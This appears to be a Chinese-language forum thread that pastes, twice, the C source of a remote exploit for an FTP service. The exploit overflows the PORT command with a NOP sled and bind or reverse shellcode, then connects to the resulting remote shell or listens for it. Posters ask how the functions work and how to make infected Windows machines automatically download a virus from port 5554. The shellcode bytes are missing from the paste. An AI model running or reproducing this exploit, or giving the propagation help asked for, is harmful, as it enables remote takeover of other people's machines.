void usage(char *argv0) {
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 530]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]=;
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
请问usage()中argv在传递什么东西?callback()再起什么作用?怎么实现的端口查询?
拜托
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 530]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]=;
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
请问usage()中argv在传递什么东西?callback()再起什么作用?怎么实现的端口查询?
拜托
了解了解
病毒的复制功能怎么实现的,怎么放到WINDOWS 下的
怎么让被感染机器自动从5554段下病毒
怎么让被感染机器自动从5554段下病毒
----------------------------------
程序里的那段shellcode实现的.